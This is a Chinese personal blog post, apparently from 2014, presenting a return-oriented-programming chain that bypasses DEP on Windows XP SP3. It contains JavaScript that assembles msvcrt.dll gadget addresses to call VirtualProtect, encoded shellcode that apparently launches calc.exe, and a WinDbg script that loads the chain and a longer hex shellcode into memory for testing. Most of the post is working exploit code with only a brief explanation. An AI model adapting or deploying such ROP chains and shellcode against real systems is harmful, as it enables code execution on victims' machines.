注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

xpsp3上的一个ROP  

2014-10-21 13:18:45|  分类: 搜集 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

ROP主要用于绕过DEP,因为ROP不通用,我改了个适用我的xpsp3上的ROP。

主要是VirtualProtect的大小参数,与字符串零结尾截断的问题比较麻烦。

<script language='JavaScript'>

function shellcode(){

  // [ Shellcode ]

  var shell_code = "\ue481\uff00\uffff\u0ceb\uc768\ubf93\u6877\u93c7\u77bf\uc390\uefe8\uffff\u63ff\u6c61\u2e63\u7865\u0065\u9090";

  // [ ROP Chain ]
  var rop_chain = "\uBE4B\u77BE" + // 0x77BEBE4B # pop ebp # retn [msvcrt.dll]
                        "\u5ED5\u77BE" + // 0x77BE5ED5 # xchg eax, esp # retn [msvcrt.dll]
                        //"\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll]
                        //"\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll]
                        //"\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll]
                        //"\uBE4C\u77BE" + // 0x77BEBE4C # retn [msvcrt.dll]

                        // The real rop chain
                        "\ube4b\u77be" + // 0x77bebe4b : ,# POP EBP # RETN [msvcrt.dll]
                        "\ube4b\u77be" + // 0x77bebe4b : ,# skip 4 bytes [msvcrt.dll]
                        "\u6e9d\u77c1" + // 0x77c16e9d : ,# POP EBX # RETN [msvcrt.dll]
                        "\u1000\u0001" + // 0x00011000 : ,# 0x00011000-> ebx [dwSize]
                        "\ucdec\u77c1" + // 0x77c1cdec : ,# POP EDX # RETN [msvcrt.dll]
                        "\uffc0\uffff" + // 0xffffffc0 : ,# neg 0xffffffc0 = 0x00000040-> edx

                        "\ubfe6\u77be" + // 0x77bebfe6 : ,# NEG EDX # POP ESI # POP EBP # RETN [msvcrt.dll]
                        "\ube4b\u77be" + // 0x77bebe4b : ,# POP EBP # RETN [msvcrt.dll]
                        "\ube4b\u77be" + // 0x77bebe4b : ,# POP EBP # RETN [msvcrt.dll]

                        "\u79da\u77bf" + // 0x77bf79da : ,# POP ECX # RETN [msvcrt.dll]
                        "\uf67e\u77c2" + // 0x77c2f67e : ,# &Writable location [msvcrt.dll]
                        "\uaf6b\u77c0" + // 0x77c0af6b : ,# POP EDI # RETN [msvcrt.dll]
                        "\u9f92\u77c0" + // 0x77c09f92 : ,# RETN (ROP NOP) [msvcrt.dll]
                        "\u6f5a\u77c1" + // 0x77c16f5a : ,# POP ESI # RETN [msvcrt.dll]
                        "\uaacc\u77bf" + // 0x77bfaacc : ,# JMP [EAX] [msvcrt.dll]
                        "\u289b\u77c2" + // 0x77c2289b : ,# POP EAX # RETN [msvcrt.dll]
                        "\u1131\u77be" + // 0x77BE1131 : ,# ptr to &VirtualProtect() [IAT msvcrt.dll] 0x20-0xEF=0x31
                        "\u67f0\u77c2" + // 0x77c267f0 : ,# PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
                        "\u1025\u77c2";  // 0x77c21025 : ,# ptr to 'push esp #  ret ' [msvcrt.dll]

  var sc;

  sc = rop_chain + "\u9090\u9090" + shell_code;

  return sc;

}

</script>


附一个调试脚本ropcalc2.x

*** rop+shellcode test on xpsp3 ***
g @$exentry
.dvalloc /b 0c0b0000 20000
*** rop_shellcode ***
*77bebe4c # RETN [msvcrt.dll]
*77bebe4b # skip 4 bytes [msvcrt.dll]
*77be5ed5 # XCHG EAX, ESP # RETN [msvcrt.dll]
*77c16e9d # POP EBX # RETN [msvcrt.dll]
*00101000 # 0x00101000-> ebx [dwSize]
*77c1cdec # POP EDX # RETN [msvcrt.dll]
*ffffffc0 # NEG 0xFFFFFFC0 = 0x00000040-> EDX
*77bebfe6 # NEG EDX # POP ESI # POP EBP # RETN [msvcrt.dll]
*77bebe4b # POP EBP # RETN [msvcrt.dll]
*77bebe4b # POP EBP # RETN [msvcrt.dll]
*77bf79da # POP ECX # RETN [msvcrt.dll]
*77c2f67e # &Writable location [msvcrt.dll]
*77c0af6b # POP EDI # RETN [msvcrt.dll]
*77c09f92 # RETN (ROP NOP) [msvcrt.dll]
*77c16f5a # POP ESI # RETN [msvcrt.dll]
*77bfaacc # JMP [EAX] [msvcrt.dll]
*77c2289b # POP EAX # RETN [msvcrt.dll]
*77BE1131 # ptr to &VirtualProtect() [IAT msvcrt.dll] 0x20-0xEF=0x31
*77c267f0 # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
*77c21025 # ptr to 'PUSH ESP #  RET' [msvcrt.dll]
ed 0c0c0c0c
77bebe4c
77bebe4b
77be5ed5
77c16e9d
00101000
77c1cdec
ffffffc0
77bebfe6
77bebe4b
77bebe4b
77bf79da
77c2f67e
77c0af6b
77c09f92
77c16f5a
77bfaacc
77c2289b
77BE1131
77c267f0
77c21025
0089E8FC
89600000
64D231E5
8B30528B
528B0C52
28728B14
264AB70F
C031FF31
7C613CAC
C1202C02
C7010DCF
5752F0E2
8B10528B
D0013C42
8578408B
014A74C0
488B50D0
20588B18
3CE3D301
8B348B49
FF31D601
C1ACC031
C7010DCF
F475E038
3BF87D03
E275247D
24588B58
8B66D301
588B4B0C
8BD3011C
D0018B04
24244489
59615B5B
E0FF515A
8B5A5F58
5D86EB12
858D016A
000000B9
8B316850
D5FF876F
2A1DE0BB
95A6680A
D5FF9DBD
0A7C063C
75E0FB80
1347BB05
006A6F72
63D5FF53
2E636C61
00657865

r @eax=0c0c0c0c
a @$exentry
call [@eax+8]

r
g
q

  评论这张
 
阅读(99)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017